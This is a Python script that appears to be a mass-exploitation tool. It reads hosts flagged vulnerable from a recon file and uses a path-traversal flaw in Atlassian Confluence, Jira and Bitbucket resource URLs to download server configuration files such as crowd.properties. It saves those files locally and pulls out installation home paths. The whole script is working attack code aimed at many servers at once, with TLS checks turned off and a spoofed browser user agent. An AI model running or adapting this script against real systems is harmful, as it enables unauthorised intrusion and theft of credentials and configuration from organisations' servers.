import concurrent.futures
import http.client
import os
import re
import ssl

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
PRE = {
    "confluence": ("/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/", 8),
    "jira": ("/download/resources/jira.webresources:color-picker-popup/images/", 5),
    "bitbucket": ("/s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/", 5),
}
TARGETS = {
    "confluence": ["WEB-INF::classes::confluence-init.properties",
                   "WEB-INF::classes::crowd.properties",
                   "WEB-INF::classes::log4j.properties",
                   "WEB-INF::classes::confluence-web.xml"],
    "jira": ["WEB-INF::classes::jira-application.properties",
             "WEB-INF::classes::crowd.properties",
             "WEB-INF::classes::log4j.properties",
             "WEB-INF::classes::jira-application-default.properties"],
    "bitbucket": ["WEB-INF::classes::bitbucket.properties",
                  "WEB-INF::classes::crowd.properties"],
}
OUT = "/root/recon/atl_deep"
os.makedirs(OUT, exist_ok=True)


def ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    c.set_ciphers("DEFAULT@SECLEVEL=1")
    return c


def get(ip, host, path, timeout=12):
    try:
        conn = http.client.HTTPSConnection(ip, 443, timeout=timeout, context=ctx())
        conn.request("GET", path, headers={"Host": host, "User-Agent": UA, "Accept": "*/*"})
        r = conn.getresponse()
        b = r.read(200000).decode("utf-8", "replace")
        conn.close()
        return r.status, b
    except Exception:
        return None, ""


def one(row):
    f = row.rstrip("\n").split("\t")
    if len(f) < 4 or f[3] != "VULNERABLE":
        return None
    ip, host, product = f[0], f[1], f[2]
    pre, n = PRE.get(product, ("", 0))
    ups = "..::" * n
    res = []
    safe = re.sub(r"[^A-Za-z0-9._-]", "_", host or ip)[:60]
    for tgt in TARGETS.get(product, []):
        st, b = get(ip, host, pre + ups + tgt)
        name = tgt.split("::")[-1]
        if st == 200 and len(b) > 20 and "<html" not in b[:200].lower():
            open(os.path.join(OUT, "%s__%s" % (safe, name)), "w").write(b[:20000])
            res.append("%s=200(%d)" % (name, len(b)))
            if "home=" in b or "home =" in b:
                for line in b.splitlines():
                    if "home" in line.lower():
                        res.append("HOME:" + line.strip()[:80])
        else:
            res.append("%s=%s" % (name, st or "ERR"))
    return "%s\t%s\t%s\t%s" % (ip, host, product, " ".join(res))


rows = [l for l in open("/root/recon/atl_verify2.tsv") if "\tVULNERABLE\t" in l]
print("vuln rows", len(rows), flush=True)
with open("/root/recon/atl_deep2.tsv", "w") as f:
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
        for r in pool.map(one, rows):
            if r:
                f.write(r + "\n")
                f.flush()
print("done", flush=True)
